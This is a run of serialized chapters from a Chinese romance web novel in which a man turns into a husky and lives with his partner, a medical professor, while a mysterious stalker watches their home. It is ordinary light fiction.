从那天起两人就开始了轰轰烈烈的冷战,甚至连喻熙的同桌都察觉到了不对,某次晚自习课结束后戳了下喻熙的胳膊:“你和那个大个子吵架了?” 虽然随着时间的推移,闵嘉胥在同学眼中的形象有所好转,但仍然有不少人怕他也不敢和他讲话,于是喻熙和闵嘉胥关系忽然变好这件事就成了班里的未解之谜。 喻熙收拾书包的动作顿了下,面无表情道:“嗯。” “居然能和你吵架?” 同桌“哎”了一声,觉得有些新奇:“那他得多难相处啊。” 喻熙摇摇头:“他不难相处,只是......” 他顿了下,加重语气:“我不喜欢对自己未来不负责的人。” 喻熙将书包背好,看也没看教室后排的某人一眼:“走了。” 高一下半学期,学习任务加重,连带着晚自习的时长也延长到了晚上八点半。春末夏初之际,晚上的风仍有几分凉意,吹得人后颈发冷。 喻熙刚拐进平时走的小巷,就察觉到了身后的不对劲。他微微侧眸,瞥见了在昏黄灯光下一闪而过的一道黑影。 近期望海的治安不好,街上有流窜作案的抢劫拐卖团伙,闹得人心惶惶,不少心大的家长都选择接送自家孩子,生怕上下学的路上出什么问题。 可喻熙没想到这帮人居然连高中男生都敢下手。 他有些紧张地舔了舔唇,加快了脚步,想快些从这条昏暗的小巷中离开,可身后的脚步声却也跟着急促起来,重叠起来的脚步声在巷子里回荡着,激起一阵阵的回音。 不知是不是他的错觉,喻熙隐约间觉得身后人的呼吸声更重了,听得他有些毛骨悚然,下意识想惊叫出声,却倏地听见一道嘹亮的犬吠,继而是带着怒意的男声响起:“你是谁?跟在人家身后要干什么!” 感应 12. 第 12 章 《分手后前任变成了狗》全本免费阅读 喻熙递出了一个“和好”的台阶,闵嘉胥却没有回他的消息。 他本来早起就低气压,这会儿心情更差了,沉着脸推开房门,想起来门外还有只被关了一晚上禁闭的狗。 狗似乎才刚睡醒,被放进屋时双眼还有些朦胧,可看见喻熙后眼前倏地亮了下,自己在门口的垫子上把脚擦干净,然后溜溜达达到了喻熙身边,用头蹭了蹭他,蓝黑鸳鸯眼里满是讨好。 喻熙的起床气消了一点,把放在院子里的狗碗拿回来,给他新开了个罐头放在地上,示意狗可以吃了,但狗却仍蹲坐在他身旁摇尾巴,“扑扑”地拍打着地面。 “怎么不吃啊?”喻熙看着他,“关你一晚上,生气了?” 狗好像听懂了他在说什么,又凑过来蹭了蹭他,似乎在告诉喻熙自己并没有生气。 喻熙垂眸看着他,半晌轻声笑了下,似乎一开始的起床气也消失了不少:“真不生我的气吗?” 狗摇头摆尾地继续蹭他的脚,看起来应该是不生气的。 “你......” 喻熙想起了那个不回消息的人,冷笑一声。 这么爱生气,还不如只狗呢。 闵嘉胥原本正尽心尽力地讨好喻熙,听见这声冷笑后身子哆嗦了下,有些不明所以地抬头,不知道自己怎么惹着他了。 喻熙伸手,摸了摸狗屁股,轻声道:“昨天打疼你没有?” 狗舔了下他的手,尾巴摇得更欢了,又咧开嘴傻笑起来。 “这么开心?”喻熙扬起眉,“傻狗,都挨打了还在开心什么?” 狗好像没听懂他在说什么,笑得特别灿烂,看上去傻了吧唧的。 喻熙忽然觉得鼻子有些酸,心头涌上了莫名的委屈。 他从前其实不算什么性格好的人,偶尔说话特别直接,无意间也得罪了不少人。有的人大度,会原谅他,但有的人却不会,于是就渐行渐远了。 他妈妈过去常说,他这脾气就是家里惯出来的,等以后离开学校去社会或是谈了恋爱,就没人这么包容他了。 可从前闵嘉胥一定会包容他,哪怕有时候他的脾气真的很烂,但闵嘉胥仍然会想方设法地哄他开心。 或许自己真的也有些问题,喻熙想。 感情这种东西,确实需要两个人一起维护。 但现在他想维护,闵嘉胥却不回他消息了。 狗不知道为什么喻熙变得沉默,又贴上来舔了舔他的手腕,似乎在担心他。 喻熙笑了下,摸了摸狗头:“我对你这么差,你还对我笑啊?” 闵嘉胥原本正专心致志地哄老婆,听见喻熙这么问自己,愣了下,歪着狗头看向他,似乎不知道他在说什么。 喻熙轻叹一声:“虽然你是捡回来的,但很多时候总觉得你和你爸特别像,不管我再怎么恶劣,都会笑着回来哄我开心......是我太理所当然,所以他才不回我消息了吗?明明他也有不对的地方,但......” 他话说了一半顿住了,半晌自嘲地笑了笑:“算了,不回就不回,我看他能沉默到什么时候。” 狗爪子刨了刨地,有些焦急地抬起头看向喻熙,又发出那种“呜呜嘤嘤”的声音。 闵嘉胥觉得自己确实有些冤枉。 他根本不知道喻熙给他发了消息,甚至他现在连手机也没有。 喻熙向他低头,给他台阶下,这种事在过去鲜少发生,让闵嘉胥急得快说话了,恨不能立刻开口和对方表白中心。 可喻熙显然没读懂他的意思,又摸了摸他的头:“今天我下班陪你去公园玩好不好?” 狗听见“去玩”两个字,眼睛倏地亮了起来,抬腿就往喻熙身上扑,热气喷洒在喻熙的侧颈,带着倒刺的舌头舔上去,痒得喻熙倒吸一口冷气。 他的侧颈一直很敏.感,从前和闵嘉胥在一起的时候,闵嘉胥总会出其不意地吻上他的侧颈,便能让年长的恋人瞬间卸下所有的伪装,却仍强撑着揪住他的衣领命令他放手。 闵嘉胥很喜欢被喻熙命令的感觉,他觉得被爱人命令,再打破命令,是一件会让他更兴奋的事。 “别舔了。” 喻熙的气息不稳,带着急促的呼吸,一双好看的眼中闪烁着不满:“再闹晚上不带你出去了。” 闵嘉胥见好就收,乖乖地将爪子从喻熙身上拿下来,有些心虚地别过脸去,生怕被人发现自己那点小心思。 喻熙平复了呼吸,看见狗这副样子,又莫名重温了那种哈士奇成精的诡异感觉,蹙眉曲起指节,在狗的额头上敲了下,声音有些低哑道:“坏狗。” *** 从前喻熙养教授的时候,有段时间爸妈都忙,家里只有两个老人在,腿脚不便也没法一天两次带狗出去溜溜,教授在这样的环境下无师自通了晚上自己出门接喻熙回家的秘诀,于是这就成为了他每天的第二次外出活动。 喻熙其实也不太清楚带小狗出去除了溜溜能玩什么,按照狗家长群里提供的建议把哈士奇带到了一个离家不远的狗公园里。 小狗多和同类玩心情会变好,那个家长是这么说的。 狗公园里的小狗确实很多,有金毛萨摩耶这样的大型犬,也有博美吉娃娃这种小型犬,正闹哄哄地在器械旁上蹿下跳,争抢为数不多的球和玩具。 “......愚蠢又聒噪的同类,主人在的时候再表现多好。” “小某明天要被绝育了,但他仍一无所知,笨笨的很安心。” “拿到球然后呢?可以和人类兑换香橙脆脆条吗?” ...... 闵嘉胥打了个喷嚏,觉得变成狗后不仅嗅觉灵敏了不少,甚至听觉也进化了,除了能听到猫猫狗狗说话以外,连稍远处人讲话的声音也能听个八.九不离十。 他打了个哈欠,就算喻熙把绳子松开,他也依旧懒懒散散地跟在喻熙身后,一副动也不愿意动的样子。 喻熙找了把长椅坐下,发现狗还跟在自己身边,有些惊讶:“不去玩吗?” 闵嘉胥当做听不懂,蹭了蹭喻熙的腿,绕着长椅打起转来,专心致志地看着地面,好像地上有什么宝贝似的,没打算看不远处的同伴一眼。 喻熙觉得这狗真的有点奇怪。 其实教授也不是个喜欢和同类疯玩到一起的小狗,先前他也试着带教授去和邻居养的阿拉斯加交朋友,阿拉斯加很喜欢教授,整个上午都跟在教授身后转圈圈,实在惹烦了教授,设计把阿拉斯加引诱进屋子关起来。 ——这还是喻熙后来听邻居提起才知道的。 现在这只哈士奇是他见过的第二只不愿意和同类玩的小狗。 夏初的望海傍晚不热,但如果运动了身上也会因为出汗变得黏糊糊。喻熙出门前换了新衣服,又上了一下午的课,不太想和狗在草地上跑来跑去再出汗了。 他叹了口气,随手摸了把狗头:“去和别的小朋友玩好不好?” 闵嘉胥舔了舔嘴唇,任由他摸自己的狗头,却打定了主意理那些横冲直撞的同类远一点。 无论怎么说,喻熙带自己出来都应该是和他一起享受一人一狗的独处世界,他可以学着同类再谄媚一点,做喻熙的好狗狗,如果今天也能骗到一个吻就最好了,晚上他还能变成人和喻熙一起睡...... 闵嘉胥正在心里打着算盘,计划着如何引导喻熙带着自己去狗公园 13. 第 13 章 《分手后前任变成了狗》全本免费阅读 喻熙觉得池俊飞这个人最近在他面前出现的次数实在有些多了。 他其实不算一个对外物很敏感的人,很多时候都把精力专注在自己的事情上,也偶尔因此脸盲和健忘。 可池俊飞最近的存在感实在太强了,强到连他也意识到有什么地方不太对劲。 “老师,真巧啊,能在这里也遇到你。” 池俊飞看着像是出来锻炼的,这会儿看起来比在学校的时候青春洋溢多了,好像也变得更好交流了:“做了一下午的实验,觉得腰酸背疼的,所以想出来跑跑。” 这个理由倒也没有问题。 喻熙带过不少学生,也见过他们拎着运动器材来上课,上完课就直接去校内的健身房了。 只是池俊飞跑步就跑步,在学校操场不能跑吗? 虽然喻熙对别人的事不是很在意,但只要被他发现了一个值得怀疑的点,他就会忍不住地往下深扒。 就像和闵嘉胥的那次吵架一样。 无意间想起闵嘉胥,又想起了他那条仍未有回音的消息,喻熙觉得有点烦躁。 他不想再和池俊飞多聊,语气中带着几分客套的意味:“我来遛狗的,就不耽误你锻炼了。” 池俊飞笑了笑,像是没听出他话里话外的意思:“没事,我可以陪老师遛狗的。” 喻熙的目光落在他身上,不动声色地将他上下打量了一通,却发现自己好像看不出什么东西。 他大学毕业后一直留校当老师,这么多年过去也没修炼出那种看人好坏的本事。倒是闵嘉胥早早进入社会创业打拼,看人的眼光比他强了不少,他也总被年少的恋人耳提面命地教育别把所有人都当好人。 可他目前为止有点看不出池俊飞接近自己的目的。 池俊飞轻咳一声,凑得离喻熙近了些,低声道:“老师,其实我有个事想拜托您,您看等明天上学能不能......” 喻熙恍然。 一般学生求他,都是实验或者论文出了问题,如果池俊飞是为了这个有意地制造偶遇和他拉近关系,那倒是也说得通。 喻熙还没来得及回答,不远处忽然响起一片惊呼声。他顿了下,循着声音望去,恰好看见了一只狗从人堆狗群中跃起,轻而易举地叼走了高高挂着的狗玩具。 把玩具叼下来后,狗端端正正地在地上坐好望向他,一双漂亮的蓝黑鸳鸯眼里满是邀功的意味,尾巴在身后快摇成螺旋桨了。 喻熙刚向那边走了几步,哈士奇就“腾”地站了起来,三两步跑到他身边,将嘴里叼着的狗玩具放在地上,轻而温驯地蹭了蹭他的鞋。 这是在要他的表扬呢。 旁边路过了一个老人,看见喻熙后和他打了个招呼:“喻教授,出来遛狗啊?什么时候养的狗?” 喻熙笑着说:“刚两天呢。” “这狗真俊,刚才跳得也高。” 老人随手想摸摸哈士奇,狗却往后退了一步,似乎不喜欢被人摸。 喻熙扬起眉,“啧”了一声,似乎在责怪哈士奇不给人摸的行为。 这一声落在闵嘉胥耳朵里,听得他抖了下,立刻垂下尾巴走了回去,低头乖乖给老人摸头。 “他真听话,”老人说,“好久没见过这么听话的狗了。” 喻熙刚和老人道别,手背就被人碰了碰,他低头,发现是狗主动地把牵引绳的另一端叼过来想塞进他的手里,应该是想被他牵着。 “想被牵着?” 喻熙蹲下身,扳过狗脸,眯起眼看向他:“喜欢被主人牵着,不喜欢放开了跑?” 哈士奇舔了舔嘴,眼中似乎掠过一道莫名的光,还没等喻熙捕捉到就消失了,而后前爪左右踱了踱,十分温驯地低下头,好像在回答喻熙的问题,又好像在求喻熙摸摸。 “好狗,”喻熙摸了他的头,“刚才怎么跳那么高的,我没看清,再跳一遍吧。” 哈士奇听后双眼倏地亮了,张开嘴露出了灿烂的狗式微笑,前爪又刨了刨地,仰着头翘着尾巴就跑回了刚才和好朋狗玩游戏的地方。 “原来你抢啃啃棒是为了给人类看啊原来是这样,”博美蹦蹦跳跳地迎上来,“你可这是个心机dog你这么会讨好人类!” 在旁边看了半天的边牧慢悠悠地开口:“我们不应该讨好人类,就算讨好,那也应该是有更长远的目的,比如......” “比如为了得到香橙脆脆条?”萨摩耶歪了歪头,挤过来参与他们的讨论,“更多更多的香橙脆脆条?” 边牧“啧”了一声:“我说的是更长远的计划,比如让人类当宠物之类的狗生大事......” 萨摩耶依旧歪着头:“但最重要的任务还是获得更多的香橙脆脆条啊。” “......” 闵嘉胥忍无可忍地打断了关于“香橙脆脆条”和“狗生大事”的讨论,下意识地挺胸仰头,冷冷道:“愚蠢。” 边牧猛地回头看向他,似乎是活了四年来第一次听见同类骂自己蠢,嘴里已然发出了“呜呜”的低吼声想威胁他。 “你们才不知道讨好主人的意义是什么,”闵嘉胥说,“无论是主人的惩罚还是奖励,得到了就是我的荣幸,是我做狗最应该骄傲的事情,不是吗?” 类似的话他当人的时候也说过。 那次他们签下了一个大单子,工作室合伙人们都很高兴,晚上找了个地方准备喝酒庆祝一下。本来说好了今晚随便玩不醉不归,可只有闵嘉胥一个人刚喝了一杯就给喻熙打电话报备让他别担心。 “闵总,这是给谁打电话呢?”一个合伙人开玩笑道,“不是说好了今晚放纵局吗?” 闵嘉胥酒量差,一杯啤酒就让他的脑子开始不清醒了,却仍认认真真道:“给......给我老婆报备。” 唐鸿信“哎”了一声:“你们都不知道,闵总在他老婆面前可乖了。” 那合伙人心里一惊,觉得这似乎不应该是被拿到明面上来讲的事,生怕把闵嘉胥惹毛了,胆战心惊地看向他,却发现闵嘉胥好像一点也不在意。 平日一脸凶相,遇到难缠甲方能靠气势把对方吓退半米的闵嘉胥这会儿有点醉醺醺地站起来:“听老婆话怎么了?老婆就是我主人,让老婆生气的事不做,这有什么问题?” ...... 其他好朋狗听见他的话后好像被点通了任督二脉,叫声此起彼伏地响了起来,纷纷赞同闵嘉胥刚才说的话。 14. 第 14 章 《分手后前任变成了狗》全本免费阅读 哈士奇似乎注意到了他眼角落下来的泪,好像有点慌张,笨拙又小心地用舌尖轻轻地将他的泪舔掉,尾巴轻轻拍打在喻熙的胳膊上,似乎在安慰他。 喻熙深吸一口气,缓过神来,摸了把狗头:“怎么不和他们玩了?” 闵嘉胥心说你在这儿谁和狗玩,面上却没表现出来,把头抵在喻熙的肩上蹭了蹭,一副讨好他的样子。 喻熙发现这只狗确实和别的狗不一样,好像能感知到他内心的情绪,然后笨拙地想尽办法来安慰他。 可狗到底还是不会说话的,只能一定程度上缓解他忽然变差情绪而已。 但对现在的喻熙来说也算足够了。 “不喜欢和他们玩?”喻熙问他,“刚才不还是挺开心的。” 哈士奇的爪子刨了两下地,在他身边坐下,像个长毛的小山丘,靠着特别有安全感。 刚才和闵嘉胥一起玩的博美又“哒哒哒”地找了过来,对着闵嘉胥竖起尾巴,短促地“汪”了几声; “怎么了怎么了怎么了怎么不来一起玩了你是有什么心事吗?” 闵嘉胥垂下眼看向他,动了动嘴皮子,向他传达出“噤声”的信息。 博美才不管他是不是让自己闭嘴,看向坐在他身边的喻熙,恍然大悟,露出邪恶摇粒绒的本质来:“原来你是来讨好主人了啊但是我觉得你主人不如我主人他看起来好凶啊好像不会给你零食的样子——” 他话还没说完,忽然被人单手拎了起来。 喻熙听不懂狗说话,不知道博美正在背后蛐蛐自己,只是单纯觉得博美像个小跳蚤一样在地上蹦跶蹦跶很有趣。 “可以抱吗?”喻熙问不远处博美的主人,“他还蛮可爱的。” 博美的主人是个年轻女生,闻言点了点头,有些不放心地叮嘱道:“但是他脾气不好,你小心被咬。” 邪恶摇粒绒的命运瞬间被别人掌握,哀嚎了一声,将求助的目光落在了闵嘉胥身上,但闵嘉胥权当没看见,长嘴打了个哈欠,懒懒地靠在喻熙身边。 喻熙的手很好看,指腹上有薄薄的茧,是长时间拿手术器械磨出来的,却不会让狗觉得很难受,反而有种被做SPA的感觉。 博美被他摸得很舒服,一瞬间就没了刚见时的成见,惬意地“呜呜”了两声后全心全意地躺在了喻熙怀里,被他摸得服服帖帖。 邪恶摇粒绒偏过头看向闵嘉胥,语气中不无羡慕:“我去,怪不得你这么爱主人,原来平时吃得这么好啊。” 闵嘉胥撩起眼皮瞥了他一眼。 这不他爹的全废话么。 *** 喻熙不知道去狗公园是调节了狗的情绪还是人的情绪,至少在摸过小狗后他的心情好了不少。 哈士奇这一路上倒是很兴奋,虽然系着牵引绳,但在他身边扑腾来扑腾去,尾巴翘得高高的,也不知道在高兴个什么劲。 但小狗最幸运的不就是拥有随时随地幸福的能力吗?这可比人类幸运多了。 喻熙这么想着,拿出钥匙开门,在转动门锁的时候愣了下,觉得今天的门锁好像有点不对劲,锁孔里特别滑,就像...... 就像有人往里面涂了什么油脂类的东西似的。 喻熙蹙眉,将钥匙拔出来,发现钥匙头的地方有一层亮晶晶的油渍。 谁闲着没事往别人家的锁孔里注油? 他以为是附近的小孩恶作剧,暂时没当回事,进屋将房门关好后拿了张纸巾,把沾了不明油状物的钥匙头擦干净。 因为这个小插曲,他没注意到兴奋了一路的哈士奇收敛了脸上的笑,一脸凝重地看着房门外,不知道在想些什么。 今天闵嘉胥还是没回喻熙消息。 这是闵嘉胥失联的第三天,除了那天晚上对方疑似回家洗了个衣服后,喻熙再也没有得到任何关于他的消息。 还能抽空回家洗个衣服就说明人大概率没事,因为商战对手绑架犯是不可能特意放你去洗衣服的。但如果没事的话,为什么不回他消息呢? 喻熙现在心里有点没底了。 先前闵嘉胥也有过一次失联,那还是他们公司刚起步的时候,他和唐鸿信被所谓的合伙人骗了,坐飞机飞到边境,差点被卖到东南亚做电诈,连续四天没回他消息。喻熙当时在读博士,一边读书一边配合警察做调查,最后闵嘉胥被专人护送回来,在机场里抱着喻熙嚎啕大哭。 现在闵嘉胥的公司今非昔比了,CEO要是真的出了什么事,估计公司的电话早就打给他了。 那么只有一种解释,就是闵嘉胥还在生他的气。 喻熙冷静地分析完,觉得很有道理,但心里的某处却仍悬在半空,迟迟未能落地。 就好像总有一个声音在说,这件事绝不可能像他想象得那么简单。 喻熙试着给闵嘉胥的微.信和手机号码打电话,却都是无人接听的状态,这让他心里的不安加重了。 似乎看出来了他的担心,连狗都安静了下来,乖乖趴在他脚边抬头看着他。 喻熙将手机放下,捏了捏眉心。 现在也不早了,等明天他给那个上次差点和闵嘉胥一起被拐去做电诈的合伙人打个电话,问问闵嘉胥这两天在不在公司吧。 哈士奇轻轻地叫了两声,用爪子拽了拽喻熙的裤脚。 喻熙垂眸看向他:“嗯?” 哈士奇好像想说什么,却又什么都说不出,舔了下嘴,又把头贴到他腿上蹭来蹭去,嘴里呜呜嘤嘤地不知道在念叨什么,看上去又像是在笨拙地哄喻熙开心。 喻熙没忍住笑了下,拍了拍狗头:“没事,你玩你的去。” 可哈士奇这次却没听他的话,不管喻熙去哪都紧紧跟在他身后,甚至试着钻空子想跟着一起进浴室洗澡,却被喻熙拦在了门外。 喻熙指着狗,眯起眼,语气有些危险:“我警告你,再往前走一步你试试。” 哈士奇似乎听出了他语气中威胁的意味,有些委屈地“呜呜”了几声,乖乖地左转进了卧室。 这狗实在是太像人了,喻熙想。 如果说教授是聪明得通人性,那哈士奇的某些神态和举动都有些太像人了,外人面前超凶,一遇到他就变成无害单纯的小可怜,甚至在某些时候还会浑水摸鱼,简直是 15.第 15 章 《分手后前任变成了狗》全本免费阅读 唐鸿信也没把闵嘉胥失联三天当成什么大事。 他和喻熙的想法甚至有些不谋而合,如果真的出了什么人命关天的大事或者卷款跑路了,那应该是警察先找上门来。现在警察没找他,就说明真没事。 唐鸿信觉得闵嘉胥应该是在家里哄喻熙呢,也不知道他哄得怎么样了。甲方那边没消息,公司正常做好游戏客户端的维护与更新,也没什么要紧的事需要CEO出面。 接到闵嘉胥电话的时候,他正在酒吧里和别人眉来眼去,听见闵嘉胥的声音时嗤笑一声:“哎呦闵总,这么多天没消息,原来你没死呢。” 闵嘉胥做贼一样往楼上看了两眼,“啧”了一声,压低声音:“我时间有限,你别贫了,我马上到,你在酒吧开个单间等我。” 唐鸿信是酒吧的常客,没有预定开个单间压根就不是什么难事。他听着闵嘉胥这声音就觉得好笑,记忆里好像从来没见过闵嘉胥这幅样子,一边笑一边说:“好好好,你来吧你来吧,我保证给你安排妥当。” 闵嘉胥舒了口气,挂断电话,正准备出门时犹豫了片刻,将喻熙今晚懒了一下,放在厨房里不想刷的碗给刷了,又写了张字条贴在冰箱上,权当给喻熙报了个平安。 自从变成狗以后,他的手机就找不着了,只能用这种原始又笨拙的办法让喻熙知道他回来过。 做哈士奇的时候,他对情绪的感知和嗅觉比平日灵敏了成百上千倍,几乎轻而易举地感知到了喻熙是在焦虑,甚至能从对方看手机的频率猜到喻熙大概是在为他的事而焦虑。 这让他觉得很愧疚,于是才献宝一样频频对喻熙示好,企图用自己的办法让喻熙变得开心起来。 但现在看来效果甚微。 闵嘉胥摇摇头,调整了下那张字条的位置,确保第二天喻熙起床的时候能看到后才离开房子。 这次他留了个心眼,是从小院子的后门出去的,没走正门。 自从上次在家门口被人闷了一棍子后,他总觉得自家大门很可怕,好像一直在被什么盯着似的。 *** 晚上的街道上没有什么人,而酒吧里倒是还挺热闹的。闵嘉胥一走进门,就被鼓点急促的DJ曲震得耳膜一疼。 不知道为什么,做狗时的超级听觉好像依旧保留在他身上,让他完全无法适应这声浪过大的曲子。 闵嘉胥用手按着耳朵,强行从贴在一起跳舞的人群中挤进去,对主管点了点头。主管认识他,连忙把他带去了唐鸿信开的那个小单间。 门一关上,外面的喧哗声瞬间被隔开了。闵嘉胥松了口气,将捂着耳朵的手放了下来。 “来坐坐坐,”唐鸿信喝了口酒,招呼他,“我这好好的酒喝一半呢,你忽然搞什么东西非得在酒吧见面?” 闵嘉胥这才发现自己很渴,不客气地拿过放在桌边的一杯冰水,灌了一口后低声道:“我怀疑我,或者喻熙惹上不该惹的人了。” 唐鸿信难得见他面色这么凝重,也收起玩笑之心:“怎么了?” 闵嘉胥简短地给他讲述了那晚两人分开后自己在家门口遇袭的事,末了低声道:“他......他应该是有备而来,在我们家门口蹲点,但是没想到那天我们吵架了,我那么晚才回去,这才正好被我撞上,不然我们根本就发现不了这个人。” “那会是谁呢?” 唐鸿信被他搞得也有些害怕,攥紧了手里的酒杯,咽了口唾沫:“哥,你别吓我啊,会,会不会是商战?我们有什么商业的竞争对手吗?” 他从大学毕业就被闵嘉胥拐带出来做游戏研发,在公司里算是半个技术岗的主管,不如闵嘉胥和另外几个领导层接触险恶的社会多,每天的快乐就指望着下班后来酒吧喝点,压根想不到所谓的“商战”或“人身威胁”就在离自己不远的地方发生了。 公司不大,虽然做出了一两个爆款游戏,但终归是从私人工作室扩展来的,天生比不过那些有资本注入的公司,所谓的商战估计根本不存在。 闵嘉胥是这样想的。 虽然喻熙和其他合伙人总说自己的表情神态吓人,但他扪心自问都是真心对所有甲方跟合作商的,主打一个互利共赢好聚好散,根本没机会惹到谁。 但他宁可对方是冲着自己来的。 喻熙一个大学教授,每天学校和家两点一线的,空闲时间都在看文献关注医学前沿的报道,又会惹到谁呢? “......闵哥,闵哥?” 唐鸿信有些担忧的声音传来,将闵嘉胥从思绪中惊醒。 “是商战吗?”他问,“那我们要不要做点什么准备啊?别我也被人在门口闷一棍子。” 闵嘉胥叹了口气,踟蹰半晌,到底还是给他讲了自己被闷了一棍子的后续。 “我......那天我以为自己要死了。” 他低声说:“那个人力气挺大的,一棍子打在我头上,流了很多血。但是等我再次醒来的时候,我发现我......” 唐鸿信“嗯”了一声,从未这样认真地听他讲话:“哥,你说。” 闵嘉胥做了两个深呼吸,又开始思考对方会不会信他说的话。 毕竟是变成狗这种魔幻又离奇的事,怎么可能让所有人都信呢? “我说完你别不信,”闵嘉胥说,“我发誓,所有的一切都是真的。” 唐鸿信点点头:“嗯嗯,哥,你说。” “我......” 闵嘉胥终于下定决心,咬着牙道:“我发现我变成了一条狗,一条哈士奇,品种狗,两只眼睛一黑一蓝,正躺在手术台上,我老婆站在旁边,差点就让医生给我绝育了。” 唐鸿信愣在了原地,表情十分精彩,不知道是被闵嘉胥说的话逗笑了,还是根本就把他说的当成了玩笑,半晌后他的表情才稍微有了解冻的痕迹。 他笑得有些勉强,把他上下打量了一遍,也没看出半点和“狗”有关的东西:“哥,哥啊,咱现在说的东西挺严肃的,这不好笑。” “我说了这都是真的,我也没必要开这么弱智的玩笑。” 闵嘉胥闭着眼。索性把这段时间他的发现倒豆子似的全告诉对方了:“我虽然变成狗了,但还有人类的思维人类的想法,只有外形是狗而已。我也不会一直是狗,每天晚上被喻熙亲过后我会短暂地变成人......” 16.第 16 章 《分手后前任变成了狗》全本免费阅读 第二天喻熙醒来的时候没在身边找到狗。 他倏地一惊,那种刚睡醒的慵懒感消失了,心里猛地漏跳半拍,几乎失态地从床上下来,推开门直奔一楼而去,看见了趴在楼梯底下打瞌睡的狗。 闵嘉胥昨晚变成人后去找了唐鸿信,说事说到一半又变回了狗。唐鸿信说要送他回家,但他担心一人一狗过于显眼,万一那个愿意蹲伏在他家门口的人没走就太危险了。 唐鸿信没办法,只能找司机开车把他送到了小区附近,他独身一狗踩着上坡的碎石小路一点点走回来的,到家时不多不少正好早上五点多快六点,还来得及眯一觉。 他睁开睡得有些朦胧的眼,对喻熙露出了一个标准的犬式微笑,而后控制不住地打了个哈欠。 怎么早上起来没穿拖鞋呢? 光着脚踩在地上多凉,万一...... 还没等他一片混沌的脑子想玩,挂在他脖子上的项圈又被人揪住了。 “你......” 喻熙拧着眉看向狗,心里憋了一千句一万句的话。 为什么没睡在他身边,为什么早上不等他起床,为什么...... 或许是项圈勒得有点紧,狗伸着舌头“呼哧呼哧”喘着气,却还伸长了脖子想舔舔他。 喻熙触到那双透着懵懂的眸子,这才意识到自己在干什么,慢慢松开了手。 狗的前爪搭在他腿上,还是舔了舔他的脸颊,似乎在安抚他过于激动的情绪。 是他莫名其妙应激了,承受他这不平稳情绪的是什么都不知道的狗。 喻熙垂眸看着地板,半晌摸了摸狗头,低声道:“抱歉。” 他只是想起了很多年前的事,比如前一晚还在自己身边睡得好好的教授第二天早上消失了,再次见面是在宠物医院。狗身上插着各种管子,旁边的医生拿着病危通知单。 再比如一向身体硬朗的外公晚上还好好的,第二天早上摔了一跤,没过几天就去世了。 他的研究生导师说,做医生要学的第一门课就是正视死亡,只有这样才能靠着临危不惧的冷静与专业从死神手下抢人。喻熙总以为经受过这么多年的历练后早就忘掉了过去的伤痛,却没想到他们总是会在最不经意的时候冒出头来。 他好像还是当年那个不愿意面对“失去”的小男孩。 “我......” 喻熙动了动唇,不知道该怎么给狗解释这一切。 怪狗睡了一半跑到楼下了吗? 可小狗就是会换地方睡觉的,就像教科书里提过的的“人类行为”一样,这只是小狗的行为而已。 闵嘉胥看着他这样其实也心疼,但碍于不会讲话,只能较劲脑汁地思考该如何让喻熙高兴起来,想了一会儿后灵机一动,拽了拽喻熙的衣袖。 喻熙扬起眉:“怎么了?” 狗仍然叼着他的衣袖,用力将他往某个地方拽去。 喻熙不明所以地跟着狗走到厨房,一眼就看见洗好了晾在案台上的碗,还有贴在冰箱上的字条。 字条上的字龙飞凤舞,笔画和大肠面线似的糊在一起,唯独一个签名干净利索有设计感,把小小一张便利贴签出了百万合同的感觉。 他一眼就认出来了这是闵嘉胥的字。 喻熙恍然:“你昨晚是听见有人来了,所以才去楼下睡的吗?” 闵嘉胥舔了下唇,打了个哈欠,动动耳朵就算是默认了。 喻熙摸了把哈士奇的下巴:“好狗。” 哈士奇借机在他手上蹭了蹭,觉得有点心虚。 闵嘉胥把一张小便签写得满满当当的,首先就前两天吵架的事对喻熙表达了歉意:“那天是我不好,我不应该对哥说那样的话,我给哥道歉,哥大人有大量,原谅我好不好?” 喻熙扬起眉,冷笑了下。狗在旁边看他这个反应,也跟着移开目光,生怕自己昨晚写的态度不够诚恳,喻熙不原谅他。 “我知道这两天哥生气又担心我,但是我手机那天丢了,再加上公司有新的合作商要谈,我现在人在国外,得一段时间才能回来补办手机卡买新手机,等我回来了哥想怎么处罚我都行。” “我不在的这段时间,哥注意身体,好好休息。早上吃早饭再出门,中午在学校多吃点,晚上早点睡别熬夜,等着我回来哦!” 喻熙抿着唇,大概能想象得到闵嘉胥写这张便利贴时的神情,或许和往常一样,带着点讨好的意味,就像犯了错的哈士奇在求他原谅自己。 这两天他的气其实差不多消了,焦虑和担忧更多些。现在看见了闵嘉胥保平安的小纸条,他悬在半空的心也踏踏实实地落地了。 喻熙将那张字条折了下放在餐桌上,这才意识到狗已经安静了有段时间。 孩子静悄悄,必定在作妖。 他转过头,发现哈士奇正趴在离自己不远处,脑袋埋在了两只前爪中间,似乎想把自己埋进地里。 喻熙轻轻咳了一声,哈士奇触电似的抬起头来,尾巴像是有肌肉记忆似的摇了起来,像个螺旋桨似的。 “躲在那儿干什么?”喻熙问,“过来,吃早饭了。” 哈士奇站起来,两只前腿撑在地上伸了个懒腰,做了个标准的下犬式,而后哒哒哒地走到喻熙身边,又在他腿侧蹭了又蹭。 “怎么了?” 喻熙给狗开了个罐头:“是你那个失踪的爹写的字条,和你又没有关系,你躲什么?” 狗把头埋在饭碗里吃饭,闻言摇了摇尾巴,示意他听到了。 不能说和他没关系,只能说那张字条就是他写的,他心虚得很。 从高中开始,他对喻熙撒过的谎就屈指可数,因为无论他编什么谎话都会被年长的爱人一眼看穿,然后受到惩罚。年长的爱人精通看穿他的妙招,熟知他每一个心虚的小动作,于是哪怕变成了狗,闵嘉胥也下意识地害怕被喻熙看穿自己的谎话。 但喻熙似乎心情很好,在给他开了个罐头后又破例热了几块午餐肉,就当是给他的加餐了。 他心情变好了吗? 闵嘉胥舔了舔嘴,目光落在换衣服准备出门的人身上,急促低声地“汪”了下。 “好好看家,”喻熙说,“回来带你出去玩。” 他的声音很轻快,尾音上扬,完全没有了前两天低气压的样子,让闵嘉胥松了口气,小跑着过去,前爪搭在喻熙腿上,非要和他贴脸蹭蹭亲亲才放他走。 ** 17.第 17 章 《分手后前任变成了狗》全本免费阅读 陈生说完,喻熙才发现口鼻处确实多了些温热的触感。 他蹙眉,拽了两张纸巾擦了下,果然在纸巾上看见了血迹。 虽然他不像闵嘉胥那样每天坚持锻炼,但他毕竟是学医的,除了胃疼以外再没什么其他的大毛病,身体出现这么明显的不适还是第一次。 陈生扬起眉,看了一眼空调遥控器:“你开的度数怎么这么低?怪不得一进来我还以为进冰窖了。一边开空调一边开窗,咱得讲究环保啊喻老师。” 